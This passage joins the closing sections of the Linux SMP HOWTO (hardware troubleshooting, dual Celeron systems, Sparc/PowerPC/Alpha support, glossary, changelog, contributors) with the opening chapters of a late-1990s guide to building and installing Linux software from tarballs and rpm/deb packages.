  • If the machine reboots/freezes after a while, there can be two good BIOS + memory related reasons (from Jakob Østergaard)
    • If the BIOS has settings like "memory hole at 16M" and/or "OS/2 memory > 64MB", try disabling them both. Linux does not always react well with theese options.
    • If you have more than 64 MB of memory in the machine, and you specified the exact number manually in the LILO configuration, you should specify one MB less than you actually have in the machine. If you have 128 MB, you lilo.conf line looks like: append="mem=127M"
  • Be aware of IRQ related problems

    Sometime, some cards are not recognized or can trigger IRQ conflicts. Try shuffling cards on slots in different ways and possibly moving them to different IRQs.

    Contributed by hASCII : removing an " append="hisax=9,2,3"" line in lilo.conf allowed using a kernel from the 2.1.xx series with activated ISDN + Hisax support. Kernels from the 2.0.xx series doesn't make problems like this.

    Try also to set BIOS setup option like "MP 1.4 mode" or "route PCI interrupts through IOAPIC", or "OS Type" not set to DOS neither Novell (Ingo Molnar).

  • Floppy access while sound is active

    If you lockup when trying to access the floppy (for example while sound is playing) you may have to edit drivers/pci/quirks.c and set /int isa_dma_bridge_buggy = 1; This is a problem with my Dell WS400 dual PII/300, 2.2.x, SMP (Wade Hampton).

4.3 Motherboard specific information

Please note: Some more specific information can be found with the list of Motherboards rumored to run Linux SMP

Motherboards with known problems

  • none right now

4.4 Low cost SMP Linux box (dual Celeron box)

(Stéphane Écolivet)

The lowest cost SMP Linux boxes with nowadays buyable processors are dual Celeron systems. Such a system is not officially possible according to Intel. Better think about the second generation of Celeron, those with 128 Kb L2 cache.

Is it possible to run a dual Intel Celeron box ?

Official answer from Intel: no, Celeron cannot work in SMP mode.

Practical answer: it is possible, but requires hardware alteration for Slot 1 processors. Alteration is described by Tomohiro Kawada on his Dual Celeron System page. Of course, this kind of modification removes warranties... Some versions of Celeron processor are also available in Socket 370 format. In that case, alteration may just be done on the Socket 370 to Slot 1 adapter or may even be sold pre-wired for SMP use. (Andy Poling, Hans - Erik Skyttberg, James Beard)

There is also a motherboard (ABIT BP6) allowing two Celerons in Socket 370 format to be inserted (Martijn Kruithof, Ryan McCue). ABIT Computer BP6 verified tested and native to linux with dual ppga socket 370 (Andre Hedrick).

How does Linux behave on a dual Celeron system ?

Fine, thank you.

Celeron processors are known to be easily overclockable. And dualCeleron system ?

It may work. However, overclocking this kind of system is not as easy as overclocking a mono-processor one. It is definitly not a good idea for a production system. For personal use, dual Celeron 300A systems running rock-solid at 450 MHz have been reported. (numerous people)

And making a quad Celeron system ?

It is impossible. Celeron processors have nearly the same features as basic Pentium II chips. If you want more than 2 processors in your system, you'll have to look at Pentium Pro, Pentium II Xeon or Pentium III (?) boxes.

What about mixing Celeron and Pentium II processor ?

A system using a "re-enable" Celeron processor and a Pentium II processor with the same steppings may theorically work.

Alexandre Charbey as made such a system:

  • Asus P2B-D motherboard, proc 1: Celeron 366, proc 2: Pentium II 400@266
  • 66Mhz and 75Mhz bus frenquencies where functionnal
  • the fastest processor (in this case the Celeron) should be put on the second slot. Swapping processors (fatest first) leads to quick failure.


Linux SMP HOWTO: Sparc architecture specific questions

 Next Previous Contents

5. Sparc architecture specific questions

5.1 Which Sparc machines are supported ?

Quoting the UltraLinux web page (only SMP systems):

  • UltraSPARC PCI based workstations: Ultra60, Ultra450
  • UltraSPARC SBUS based servers: Enterprise 1, 2, 150
  • UltraSPARC SBUS based large servers: Enterprise 3000, 4000, 5000, 6000, 10000
  • UltraSPARC PCI based servers: Enterprise 250, 450
  • SPARC sun4m SMP machines (Anton Blanchard)
  • Starfire E10000

UltraLinux has ran on a 14 CPUs machine (see the dmesg output) and on a Starfire E10000 with 24 CPUs (see the dmesg output).

5.2 Specific problem related to Sparc SMP support

(David Miller) There should not be any worries.

The only known problem, and one we don't intend to fix, is that if you build an SMP kernel for 32-bit (ie. non-ultrasparc) systems, this kernel will not work on sun4c systems.

5.3 SMP specific limit with current kernel (2.2)

(David Miller) There is a bug in the include/linux/tasks.h header file, it needs to define NR_CPUS to 64 on UltraSparc as this is the upper limit for the hardware we support :-)


Linux SMP HOWTO: PowerPC architecture specific questions

 Next Previous Contents

6. PowerPC architecture specific questions

6.1 Which PPC machines are supported ?

  • PowerSurge boards (including UMAX s900)
  • PowerMac
  • Motorola MTX: support under developement. Patches not yet integrated into the main kernel (Troy Benjegerdes)

(Cort Dougan) Not supported: PPC RS/6000 systems

6.2 Specific problem related to PPC SMP support

Nothing. Usual SMP compiling (see above). As usual, be aware, modules are specific either for UP or SMP. Recompile them. (Paul Mackerras)


Linux SMP HOWTO: Alpha architecture specific questions

 Next Previous Contents

7. Alpha architecture specific questions

7.1 Which Alpha machines are supported ?

(Geerten Kuiper) SMP works for most, if not all, AXP servers.

(Jay A Estabrook) SMP does seem to work on most of our [Compaq] boxes with 2 or more CPUs. That includes :

  • AS2000/2100 (SABLE)
  • AS4000/4100 (RAWHIDE)
  • DS20 (DP264)
  • GS320 (see the bootlog for a 31 CPUs machine)

It does not include :

  • AS2100A (LYNX)
  • TurboLaser bigboys (8200/8400)

(Alpha Processor Inc) SMP support has been qualified for all API SMP systems starting from later 2.2-series kernels (approximately kernel 2.2.7). At the time of writing, that is :

  • DP264
  • UP2000
See API's support website for more info.

7.2 Specific problem related to Alpha SMP support

None (really ? :-)


Linux SMP HOWTO: Useful pointers

 Next Previous Contents

8. Useful pointers

8.1 Various

  • Parallel Processing using Linux
  • Linux Parallel Processing HOWTO
  • (outdated) Linux SMP home page
  • linux-smp mailing list

    To subscribe, send subscribe linux-smp in the message body at majordomo@vger.kernel.org

    To unsubscribe, send unsubscribe linux-smp in the message body at majordomo@vger.kernel.org

    Linux SMP archives

    Linux SMP archives at progressive-comp.com

  • pthread library made by Xavier Leroy
  • Motherboards rumored to run Linux SMP
  • procps
  • procps patch for 2.2.x
  • xosview
  • xosview for 2.2.x
  • SMP Performance of Linux
  • CESDIS Linux Ethernet device drivers site
  • Dual Celeron System

8.2 Multithreaded programs and library

  • Linux Threads FAQ
  • Multithreaded programs on linux
  • Pentium Pro Optimized BLAS and FFTs for Intel Linux (not available right now, but a dual proc library is planned for 5/27/98, see Blas News for details)
  • Mesa library (with experimental multi-threading)
  • Parallel plugins for The GIMP

8.3 SMP specific patches

  • Patch for a bug in the 440FX chipset
  • PSET - Processor Sets for the Linux kernel
  • Ingo Molnar SMP patches (for experts only, please read linux-smp@vger.kernel.org)

8.4 Parallelizing/Optimizing Compilers for 586/686 machines (Sumit Roy)

  • Pentium Compiler Group creators of pgcc
  • Absoft , Fortran 90 and Fortran 77 compilers
  • The Portland Group, Inc., supports the OpenMP standard for Fortran parallelization on Linux
  • Pacific-Sierra Research Corporation, has a free F90 compiler for Linux, as well as parallelizing compilers for SMP Linux
  • Applied Parallel Research, currently have parallelizing compilers for WinNT
  • KAI has a C++-Compiler for Linux, that understands OpenMPI. It is called Guide_OpenMP. Info under http://www.kai.com/parallel/kappro/guide. (Gero Wedemann)


Linux SMP HOWTO: Glossary

 Next Previous Contents

9. Glossary

9.1 Definitions

  • SMP Symmetric Multi-Processors.
  • UP Uni-Processor: system with one processor.
  • APIC Advanced Programmable Interrupt Controler.
  • thread A thread is a processor activity in a process. The same process can have multiple threads. Those threads share the process address space and can therefore share data.
  • pthread Posix thread, threads defined by the Posix standard.
  • process Program in execution, with its environment.
  • MTRR Memory Type Range Register
  • APM Advanced Power Management.
  • FPU Floating Point Unit. Also called arithmetic co-processor.
  • IRQ Interrupt ReQuest.
  • EBDA ??
  • oops Internal kernel error.
  • Cluster Group of computers that achieve a common computation (also known as Beowulf within the Linux community).

9.2 Concepts

  • Data Races

    A data race happens when to processes want to modify a shared variable concurrently without protecting themselves from the effect of the other process.

    Let A a shared variable. Let P1 and P2 two processes that access this variable. Those two processes are making the same following operation: "read A in tmp variable (local to the precess); do tmp = tmp + 1 ; write tmp in A". If the A variable is not protected by a lock, resulting executions could not correspond to what is espected. For example, here is two examples if one do not lock A:

    case #1:
A=0
P1: read A -> tmp1 (so tmp1 is 0)
P2: read A -> tmp2 (so tmp2 is 0)
P1: tmp1 = tmp1 + 1 (so tmp1 is 1)
P2: tmp2 = tmp2 + 1 (so tmp2 is 1)
P1: tmp1 -> write A (so A is 1)
P2: tmp2 -> write A (so A is 1)

    case #2:
A=0
P1: read A -> tmp1 (so tmp1 is 0)
P1: tmp1 = tmp1 + 1 (so tmp1 is 1)
P1: tmp1 -> write A (so A is 1)
P2: read A -> tmp2 (so tmp2 is 1)
P2: tmp2 = tmp2 + 1 (so tmp2 is 2)
P2: tmp2 -> write A (so A is 2)

    To avoid this kind of problem, one uses a lock:

    A=0:
P1: lock A
P1: read A -> tmp1 (so tmp1 is 0)
P2: lock A (so P2 is blocked)
P1: tmp1 = tmp1 + 1 (so tmp1 is 1)
P1: tmp1 -> write A (so A is 1)
P1: unlock A (so P2 is unblocked)
P2: read A -> tmp2 (so tmp2 is 1)
P2: tmp2 = tmp2 + 1 (so tmp2 is 2)
P2: tmp2 -> write A (so A is 2)
P2: unlock A

  • Deadlock

    This is an inter-blocking that occurs when two processes want to access at shared variables mutually locked. For example, let A and B two locks and P1 and P2 two processes:

    P1: lock A
P2: lock B
P1: lock B (so P1 is blocked by P2)
P2: lock A (so P2 is blocked by P1)
    Process P1 is blocked because it is waiting for the unlocking of B variable by P2. However P2 also needs the A variable to finish its computation and free B. So we have a deadlock.

    In this example, the problem is very simple. But imagine what can happen in a 2 millions of lines of code (like the linux kernel) with hundreds of locks. :-)


Linux SMP HOWTO: What's new ?

 Next Previous Contents

10. What's new ?

v1.12.1, 25 october 2000

  • Put all authors in Bryant, Hartner, Qi and Venkitachalam paper

v1.12, 22 october 2000

  • Explanation on why not trust Xosview on scheduling (Rik van Riel)
  • A pointer to an article that compares 2.2 and 2.4 kernels (Ray Bryant)

v1.11, 8 october 2000

  • Linux boots on a Sun E1000 with 24 CPUs
  • Linux boots on a AlphaServer with 31 CPUs

v1.10, 5 october 2000

  • New linux-smp mailing-list adress : linux-smp@vger.kernel.org (me)
  • Tell where to find RTC setting in kernel config (Patrick Doyle)
  • glossary updated and concepts added (from a french version made by Ludovic Danigo)
  • Fixed an inconsistency (Matthias Schniedermeyer)
  • Deleted wrong links (Johan Ekenberg)

v1.9.1, 28 September 2000

  • updated with a submission from Stig Telfer detailing SMP support on API Alpha systems

v1.9, 13 january 2000

  • Remember to disable all BIOS power-save features (Osamu Aoki)
  • Explain how to access to Compaq server into advanced configuration mode (Adrian Portelli)

v1.8, 8 november 1999

  • quad-celeron motherboard was a hoax, restored old paragraph (Simen Timian Thoresen)

v1.7, 6 november 1999

  • new introduction (C. Polisher aka cp)
  • numerous typo and grammatical fixes (cp)
  • introductory paragraph on kernel compilation (cp)
  • introductory paragraph on SMP need (cp)
  • reference on KAI optimizing compiler (Gero Wedemann)
  • quad-celeron motherboard exists (Jeffrey H. Ingber)

v1.6, 21 october 1999

  • added information on xosview scheduling perturbation
  • added "APIC error interrupt on CPU#n" message information
  • added information on hard lockup
  • deleted section "How to optain maximum performance" (was obsolete)
  • added info on dual systems with different x86 procs (a Celeron and a P-II)

v1.5, 4 october 1999

  • more precision in PSET description

v1.4, 30 september 1999

  • precize to enable MTRR support for an x86 SMP kernel (me)

v1.3, 29 september 1999

  • many many grammar and typographical fixes (Wade Hampton aka hww)
  • added info in short introduction related to 2.2/2.4/2.0 diffs (hww)
  • added step by step things to do to recompile a kernel (hww and me)
  • added info related to SMP/UP modules problems (hww)
  • added precision in Posix Threads section related to user (hww) vs. kernel threads (hww)
  • new item about NFS and kernel lock (hww)
  • new item about kernel lock without message (hww)
  • new item about debugging lockup problems (hww)
  • added info about heating problems (hww)
  • miscellaneous updates I've forget about (hww)
  • new item about floppy access and sound (hww)

v1.2, 27 septembre 1999

  • name change: this document is now a HOWTO. TWD, and fast! (Guylhem Aznar)

v1.1, 26 septembre 1999

  • added a link to first Chris Pirih FAQ draft
  • expanted an IRQ related problems

v1.00, 25 septembre 1999

  • first upgrade in a long long time!
  • reprocessed the whole FAQ: 2.2 is here and 2.4 soon
  • added kernel locking information from Ingo Molnar
  • deleted item "How will my application perform under SMP?": outdated
  • deleted item "My SMP system is locking up all the time.": outdated
  • deleted item "You are running 2.0.35 aren't you ?": outdated
  • deleted item "Some hardware is also known to cause problems.": outdated
  • blanked section "Motherboards with known problems". We should restart from scratch
  • deleted section "Motherboards with NO known problems": outdated
  • updated dual celeron section (numerous people)
  • added "SPARC sun4m SMP machines" to supported SMP sparc machines (Anton Blanchard)
  • added a "During boot machine hang signaling an IOAPIC problem" item in "Why it doesn't work on my machine?" section
  • added a "What about SMP performances?" item
  • updated "Why doesn't my old Compaq work?" item
  • fixed an outdated pointer
  • added a pointer to Ingo test SMP patches

v0.54, 13 march 1999

  • Added a section about SMP Alpha systems

v0.53, 08 march 1999

  • Added a section about SMP PowerPC systems

v0.52, 07 march 1999

  • Added a section about SMP Sparc systems

v0.51, 06 march 1999

  • Added a dual-celeron section
  • Deleted Adaptec section
  • Updated procps link
  • Updated xosview link
  • Added an answer for quad Xeon boot hang
  • Updated item about glibc patch for gd: should be included in RH 5.2

v0.50, 03 february 1999

  • Updated "Multithreaded programs on linux" link

v0.49, 13 january 1999

  • Update about CONFIG_SMP. Added .txt to Documentation/smp. (Michael Elizabeth Chastain)

v0.48, 10 december 1998

  • Mispelled corrected. Email address corrected.

v0.47, 20 november 1998

  • Added that 2.0.36 as the MTRR patch (related to the BogoMips problem)

v0.46, 10 november 1998

  • Update about Epox KP6-LS motherboards

v0.45, 25 october 1998

  • Corrected an error regarding /proc/stat file
  • Added a pointer to CESDIS Ethernet Linux Drivers site

v0.44, 14 october 1998

  • Updated the link to the web page: Motherboards rumored to run Linux SMP
  • Added Jakob explanation how to time SMP systems with 2.0 kernels

v0.43, 9 september 1998

  • Updated first question in section 3.1
  • Updated mt-Mesa link: multi-threaded is now included as experimental in the Mesa distribution

v0.42, 2 september 1998

  • Minor cosmetic update in sect 3.3
  • Two links (multithreaded Mesa and SMP performance) marked outdated
  • Updated the item about threads and exceptions in C++ (sect 3.3)

v0.41, 1 september 1998

  • Added a major section: "3.3 SMP Programming" written by Jakob Østergaard
  • moved some item of section "3.2 User side" in sect 3.3

v0.40, 27 august 1998

  • Updated section 3.1, item 7: processor affinity

v0.39, 27 august 1998

  • Updated needed Award BIOS version for Tyan motherboards (hASCII)
  • Added an item on IRQ in the crash section (me and hASCII)
  • Added good support of Asus P2B-DS (Ulf Rompe)
  • Added another smp-list archive in pointer section (Hank Leininger)

v0.38, 8 august 1998

  • Added a pointer to the Linux Threads FAQ

v0.37, 30 July 1998

  • Emil Briggs is working on parallel plugins for Gimp (see "Is there any threaded programs or library?", sect. "User side")

v0.36, 26 July 1998

  • Thanks to Jakob Østergaard, two changes in "Possible causes of Crash"
    • Changed 2.0.33 to 2.0.35 (latest stable)
    • Added a "BIOS related causes of failure"

v0.35, 14 July 1998

  • Added N440BX Server Board in Motherboards with NO problems
  • Added a succes story for GigaByte motherboard with BIOS upgrade
  • Added a "How to obtain maximum performance ?" section (waiting for your contributions ;)

v0.34, 10 june 1998

  • Added a "Parallelizing/Optimizing Compilers for 586/686 machines" section in section "Useful Pointers", thanks to Sumit Roy
  • Corrected a mispelling, "Asus P/I-UP5" is in fact "Asus P/I-P65UP5"

v0.33, 3 june 1998

  • Yet another success story for a GigaByte DLX Motherboard.
  • A tip for Tyan motherboards, disable the "DRAM Fast Leadoff" BIOS option

v0.32, 27 may 1998

  • Asus P/I-UP5 added in the motherboard-with-NO-problem section

v0.31, 18 may 1998

  • Elitegroup P6LX2-A works with 2.1.100 and 101
  • Bugs should be reported to linux-smp@vger.rutgers.edu

v0.30, 12 may 1998

  • SuperMicro is now in the motherboard-with-NO-problem section

v0.29, 11 may 1998

  • A success story for a GigaByte 686 motherboard with 2.1.101
  • Added a new item in the "User Side" section: "Is there any threaded programs or library?"
  • OpenGL Mesa library is beeing multithreaded. Cool! See the new section for details.

v0.28, 09 may 1998

  • A US mirror of this FAQ is now available (see Introduction)
  • Merge of the two confusing Gigabyte 686 entries

v0.27, 05 may 1998

  • New info for the Adaptec and TekRam drivers
  • Micronics W6-LI motherboard works under SMP


Linux SMP HOWTO: List of contributors

 Next Previous Contents

11. List of contributors

Many thanks to those who help me to maintain this HOWTO:

  1. Tigran A. Aivazian
  2. John Aldrich
  3. Niels Ammerlaan
  4. H. Peter Anvin
  5. Osamu Aoki
  6. Guylhem Aznar
  7. Ralf Bächle
  8. James Beard
  9. Troy Benjegerdes
  10. Anton Blanchard
  11. Emil Briggs
  12. Robert G. Brown
  13. Ray Bryant
  14. Alexandre Charbey
  15. Michael Elizabeth Chastain
  16. Samuel S. Chessman
  17. Alan Cox
  18. Andrew Crane
  19. Cort Dougan
  20. Patrick Doyle
  21. Mark Duguid
  22. Stéphane Écolivet
  23. Johan Ekenberg
  24. Jocelyne Erhel
  25. Jay A Estabrook
  26. Byron Faber
  27. Mark Garlanger
  28. hASCII
  29. Wade Hampton
  30. Andre Hedrick
  31. Claus-Justus Heine
  32. Benedikt Heinen
  33. Florian Hinzmann
  34. Moni Hollmann
  35. Robert M. Hyatt
  36. Jeffrey H. Ingber
  37. Richard Jelinek
  38. Tony Kocurko
  39. Geerten Kuiper
  40. Martijn Kruithof
  41. Doug Ledford
  42. Kumsup Lee
  43. Hank Leininger
  44. Ryan McCue
  45. Paul Mackerras
  46. Cameron MacKinnon
  47. Joel Marchand
  48. David Maslen
  49. Chris Mauritz
  50. Jean-Francois Micouleau
  51. David Miller
  52. Ingo Molnar
  53. Ulf Nielsen
  54. Jakob Oestergaard
  55. C Polisher
  56. Adrian Portelli
  57. Matt Ranney
  58. Daniel Roesen
  59. Ulf Rompe
  60. Jean-Michel Rouet
  61. Volker Reichelt
  62. Sean Reifschneider
  63. Rik van Riel
  64. Sumit Roy
  65. Thomas Schenk
  66. Matthias Schniedermeyer
  67. Terry Shull
  68. Chris K. Skinner
  69. Hans - Erik Skyttberg
  70. Szakacsits Szabolcs
  71. Jukka Tainio
  72. Stig Telfer
  73. Simen Timian Thoresen
  74. El Warren
  75. Gregory R. Warnes
  76. Gero Wedemann
  77. Christopher Allen Wing
  78. Leonard N. Zubkoff


Building and Installing Software Packages for Linux

Mendel Cooper --- http://personal.riverusers.com/~thegrendel/

v1.91, 27 July 1999

This is a comprehensive guide to building and installing "generic" UNIX software distributions under Linux. Additionally, there is some coverage of "rpm" and "deb" pre-packaged binaries.

1. Introduction

2. Unpacking the Files

3. Using Make

4. Prepackaged Binaries

  • 4.1 Whats wrong with rpms?
  • 4.2 Problems with rpms: an example

5. Termcap and Terminfo Issues

6. Backward Compatibility With a.out Binaries

  • 6.1 An Example

7. Troubleshooting

  • 7.1 Link Errors
  • 7.2 Other Problems
  • 7.3 Tweaking and fine tuning
  • 7.4 Where to go for more help

8. Final Steps

9. First Example: Xscrabble

10. Second Example: Xloadimage

11. Third Example: Fortune

12. Fourth Example: Hearts

13. Fifth Example: XmDipmon

14. Where to Find Source Archives

15. Final Words

16. References and Further Reading

17. Credits


Building and Installing Software Packages for Linux: Introduction

 Next Previous Contents

1. Introduction

Many software packages for the various flavors of UNIX and Linux come as compressed archives of source files. The same package may be "built" to run on different target machines, and this saves the author of the software from having to produce multiple versions. A single distribution of a software package may thus end up running, in various incarnations, on an Intel box, a DEC Alpha, a RISC workstation, or even a mainframe. Unfortunately, this puts the responsibility of actually "building" and installing the software on the end user, the de facto "system administrator", the fellow sitting at the keyboard -- you. Take heart, though, the process is not nearly as terrifying or mysterious as it seems, as this guide will demonstrate.


Building and Installing Software Packages for Linux: Unpacking the Files

 Next Previous Contents

2. Unpacking the Files

You have downloaded or otherwise acquired a software package. Most likely it is archived (tarred) and compressed (gzipped), in .tar.gz or .tgz form (familiarly known as a "tarball"). First copy it to a working directory. Then untar and gunzip it. The appropriate command for this is tar xzvf filename, where filename is the name of the software file, of course. The de-archiving process will usually install the appropriate files in subdirectories it will create. Note that if the package name has a .Z suffix, then the above procedure will serve just as well, though running uncompress, followed by a tar xvf also works. You may preview this process by a tar tzvf filename, which lists the files in the archive without actually unpacking them.

The above method of unpacking "tarballs" is equivalent to either of the following:

  • gzip -cd filename | tar xvf -
  • gunzip -c filename | tar xvf -
(The '-' causes the tar command to take its input from stdin.)

Source files in the new bzip2 (.bz2) format can be unarchived by a bzip2 -cd filename | tar xvf -, or, more simply by a tar xyvf filename, assuming that tar has been appropriately patched (refer to the Bzip2 HOWTO for details). Debian Linux uses a different patch for tar, one written by Hiroshi Takekawa, so that the -I, --bzip2, --bunzip2 options work with that particular tar version.

[Many thanks to R. Brock Lynn and Fabrizio Stefani for corrections and updates on the above information.]

Sometimes the archived file must be untarred and installed from the user's home directory, or perhaps in a certain other directory, such as /, /usr/src, or /opt, as specified in the package's config info. Should you get an error message attempting to untar it, this may be the reason. Read the package docs, especially the README and/or Install files, if present, and edit the config files and/or Makefiles as necessary, consistent with the installation instructions. Note that you would not ordinarily alter the Imake file, since this could have unforseen consequences. Most software packages permit automating this process by running make install to emplace the binaries in the appropriate system areas.

  • You might encounter shar files, or shell archives, especially in the source code newsgroups on the Internet. These remain in use because they are readable to humans, and this permits newsgroup moderators to sort through them and reject unsuitable ones. They may be unpacked by the unshar filename.shar command. Otherwise the procedure for dealing with them is the same as for "tarballs".

  • Some source archives have been processed using nonstandard DOS, Mac, or even Amiga compression utilities such zip, arc, lha, arj, zoo, rar, and shk. Fortunately, Sunsite and other places have Linux uncompression utilities that can deal with most or all of these.

Occasionally, you may need to update or incorporate bug fixes into the unarchived source files using a patch or diff file that lists the changes. The doc files and/or README file will inform you should this be the case. The normal syntax for invoking Larry Wall's powerful patch utility is patch < patchfile.

You may now proceed to the build stage of the process.


Building and Installing Software Packages for Linux: Using Make

 Next Previous Contents

3. Using Make

The Makefile is the key to the build process. In its simplest form, a Makefile is a script for compiling or building the "binaries", the executable portions of a package. The Makefile can also provide a means of updating a software package without having to recompile every single source file in it, but that is a different story (or a different article).

At some point, the Makefile launches cc or gcc. This is actually a preprocessor, a C (or C++) compiler, and a linker, invoked in that order. This process converts the source into the binaries, the actual executables.

Invoking make usually involves just typing make. This generally builds all the necessary executable files for the package in question. However, make can also do other tasks, such as installing the files in their proper directories (make install) and removing stale object files (make clean). Running make -n permits previewing the build process, as it prints out all the commands that would be triggered by a make, without actually executing them.

Only the simplest software uses a generic Makefile. More complex installations require tailoring the Makefile according to the location of libraries, include files, and resources on your particular machine. This is especially the case when the build needs the X11 libraries to install. Imake and xmkmf accomplish this task.

An Imakefile is, to quote the man page, a "template" Makefile. The imake utility constructs a Makefile appropriate for your system from the Imakefile. In almost all cases, however, you would run xmkmf, a shell script that invokes imake, a front end for it. Check the README or INSTALL file included in the software archive for specific instructions. (If, after dearchiving the source files, there is an Imake file present in the base directory, this is a dead giveaway that xmkmf should be run.) Read the Imake and xmkmf man pages for a more detailed analysis of the procedure.

Be aware that xmkmf and make may need to be invoked as root, especially when doing a make install to move the binaries over to the /usr/bin or /usr/local/bin directories. Using make as an ordinary user without root privileges will likely result in write access denied error messages because you lack write permission to system directories. Check also that the binaries created have the proper execute permissions for you and any other appropriate users.

Invoking xmkmf uses the Imake file to build a new Makefile appropriate for your system. You would normally invoke xmkmf with the -a argument, to automatically do a make Makefiles, make includes, and make depend. This sets the variables and defines the library locations for the compiler and linker. Sometimes, there will be no Imake file, instead there will be an INSTALL or configure script that will accomplish this purpose. Note that if you run configure, it should be invoked as ./configure to ensure that the correct configure script in the current directory is called. In most cases, the README file included with the distribution will explain the install procedure.

It is usually a good idea to visually inspect the Makefile that xmkmf or one of the install scripts builds. The Makefile will normally be correct for your system, but you may occasionally be required to "tweak" it or correct errors manually.

Installing the freshly built binaries into the appropriate system directories is usually a matter of running make install as root. The usual directories for system-wide binaries on modern Linux distributions are /usr/bin, /usr/X11R6/bin, and /usr/local/bin. The preferred directory for new packages is /usr/local/bin, as this will keep separate binaries not part of the original Linux installation.

Packages originally targeted for commercial versions of UNIX may attempt to install in the /opt or other unfamiliar directory. This will, of course, result in an installation error if the intended installation directory does not exist. The simplest way to deal with this is to create, as root, an /opt directory, let the package install there, then add that directory to the PATH environmental variable. Alternatively, you may create symbolic links to the /usr/local/bin directory.

Your general installation procedure will therefore be:

  • Read the README file and other applicable docs.
  • Run xmkmf -a, or the INSTALL or configure script.
  • Check the Makefile.
  • If necessary, run make clean, make Makefiles, make includes, and make depend.
  • Run make.
  • Check file permissions.
  • If necessary, run make install.

Notes:

  • You would not normally build a package as root. Doing an su to root is only necessary for installing the compiled binaries into system directories.
  • After becoming familiar with make and its uses, you may wish to add additional optimization options passed to gcc in the standard Makefile included or created in the package you are installing. Some of these common options are -O2, -fomit-frame-pointer, -funroll-loops, and -mpentium (if you are running a Pentium cpu). Use caution and good sense when modifying a Makefile!
  • After the make creates the binaries, you may wish to strip them. The strip command removes the symbolic debugging information from the binaries, and reduces their size, often drastically. This also disables debugging, of course.
  • The Pack Distribution Project offers a different approach to creating archived software packages, based on a set of Python scripting tools for managing symbolic links to files installed in separate collection directories. These archives are ordinary tarballs, but they install in /coll and /pack directories. You may find it necessary to download the Pack-Collection from the above site should you ever run across one of these distributions.


Building and Installing Software Packages for Linux: Prepackaged Binaries

 Next Previous Contents

4. Prepackaged Binaries

4.1 Whats wrong with rpms?

Manually building and installing packages from source is apparently so daunting a task for some Linux users that they have embraced the popular rpm and deb or the newer Stampede slp package formats. While it may be the case that an rpm install normally runs as smoothly and as fast as a software install in a certain other notorious operating system, some thought should certainly be given to the disadvantages of self-installing, prepackaged binaries.

First, be aware that software packages are normally released first as "tarballs", and that prepackaged binaries follow days, weeks, even months later. A current rpm package is typically at least a couple of minor version behind the latest "tarball". So, if you wish to keep up with all the 'bleeding edge' software, you might not wish to wait for an rpm or deb to appear. Some less popular packages may never be rpm'ed.

Second, the "tarball" package may well be more complete, have more options, and lend itself better to customization and tweaking. The binary rpm version may be missing some of the functionality of the full release. Source rpm's contain the full source code and are equivalent to the corresponding "tarballs", and they likewise need to be built and installed using either of the rpm --recompile packagename.rpm or rpm --rebuild packagename.rpm options.

Third, some prepackaged binaries will not properly install, and even if they do install, they could crash and core-dump. They may depend on different library versions than are present in your system, or they may be improperly prepared or just plain broken. In any case, when installing an rpm or deb you necessarily trust the expertise of the persons who have packaged it.

Finally, it helps to have the source code on hand, to be able to tinker with and learn from it. It is much more straightforward to have the source in the archive you are building the binaries from, and not in a separate source rpm.

Installing an rpm package is not necessarily a no-brainer. If there is a dependency conflict, an rpm install will fail. Likewise, should the rpm require a different version of libraries than the ones present on your system, the install may not work, even if you create symbolic links to the missing libraries from the ones in place. Despite their convenience, rpm installs often fail for the same reasons "tarball" ones do.

You must install rpm's and deb's as root, in order to have the necessary write permissions, and this opens a potentially serious security hole, as you may inadvertently clobber system binaries and libraries, or even install a Trojan horse that might wreak havoc upon your system. It is therefore important to obtain rpm and deb packages from a "trusted source". In any case, you should run a 'signature check' (against the MD5 checksum) on the package, rpm --checksig packagename.rpm, before installing. Likewise highly recommended is running rpm -K --nopgp packagename.rpm. The corresponding commands for deb packages are dpkg -I | --info packagename.deb and dpkg -e | --control packagename.deb.

  • rpm --checksig gnucash-1.1.23-4.i386.rpm

gnucash-1.1.23-4.i386.rpm: size md5 OK
    •

  • rpm -K --nopgp gnucash-1.1.23-4.i386.rpm

gnucash-1.1.23-4.i386.rpm: size md5 OK
    •

For the truly paranoid (and, in this case there is much
to be said for paranoia), there are the unrpm
and rpmunpack utilities available from the
Sunsite utils/package directory for unpacking and checking the individual
components of the packages.

Klee Diene has written an
experimental dpkgcert package for verifying the integrity of
installed .deb files against MD5 checksums.  It is available from
the
Debian ftp archive.  The current package name
/ version is dpkgcert_0.2-4.1_all.deb. The
Jim Pick Software site maintains
an experimental server database to provide dpkgcert certificates
for the packages in a typical Debian installation.

In their most simple form, the commands rpm -i packagename.rpm
and dpkg --install packagename.deb automatically unpack and
install the software.  Exercise caution, though, since using these
commands blindly may be dangerous to your system's health!

Note that the above warnings also apply, though to a lesser extent,
to Slackware's pkgtool installation utility. All "automatic"
software installations require caution.

The
martian and
alien programs allow conversion between the rpm,
deb, Stampede slp, and tar.gz package
formats. This makes these packages accessible to all Linux distributions.

Carefully read the man pages for the rpm
and dpkg commands, and refer to the
RPM HOWTO, TFUG's
Quick Guide to Red Hat's Package Manager, and
The Debian Package Management Tools for more detailed information.

4.2 Problems with rpms: an example

Jan Hubicka wrote
a very nice fractal package called xaos.  At his
home page, both
.tar.gz and rpm packages are available.  For the sake
of convenience, let us try the rpm version, rather than the "tarball".

Unfortunately, the rpm of xaos fails to install. Two separate
rpm versions misbehave.

rpm -i --test XaoS-3.0-1.i386.rpm

error: failed dependencies:
        libslang.so.0 is needed by XaoS-3.0-1
        libpng.so.0 is needed by XaoS-3.0-1
        libaa.so.1 is needed by XaoS-3.0-1

rpm -i --test xaos-3.0-8.i386.rpm

error: failed dependencies:
        libaa.so.1 is needed by xaos-3.0-8

The strange thing is that libslang.so.0, libpng.so.0,
and libaa.so.1 are all present in /usr/lib on the
system tested. The rpms of xaos must have been built with
slightly different versions of those libraries, even if the release
numbers are identical.

As a test, let us try installing xaos-3.0-8.i386.rpm with the
--nodeps option to force the install. A trial run of xaos
crashes.

xaos: error in loading shared libraries: xaos: undefined symbol: __fabsl

Let us stubbornly try to get to the bottom of this.  Running ldd
on the xaos binary to find its library dependencies shows
all the necessary shared libraries present. Running nm on the
/usr/lib/libaa.so.1 library to list its symbolic references
shows that it is indeed missing __fabsl.  Of course, the absent
reference could be missing from one of the other libraries...
There is nothing to be done about that, short of replacing one or more
libraries.

Enough! Download the "tarball", XaoS-3.0.tar.gz, available from
the
ftp site, as well as from the home page.  Try building it. Running
./configure, make, and finally (as root) make
install, works flawlessly.

This is one of an number of examples of prepackaged binaries being more
trouble than they are worth.

Next
Previous
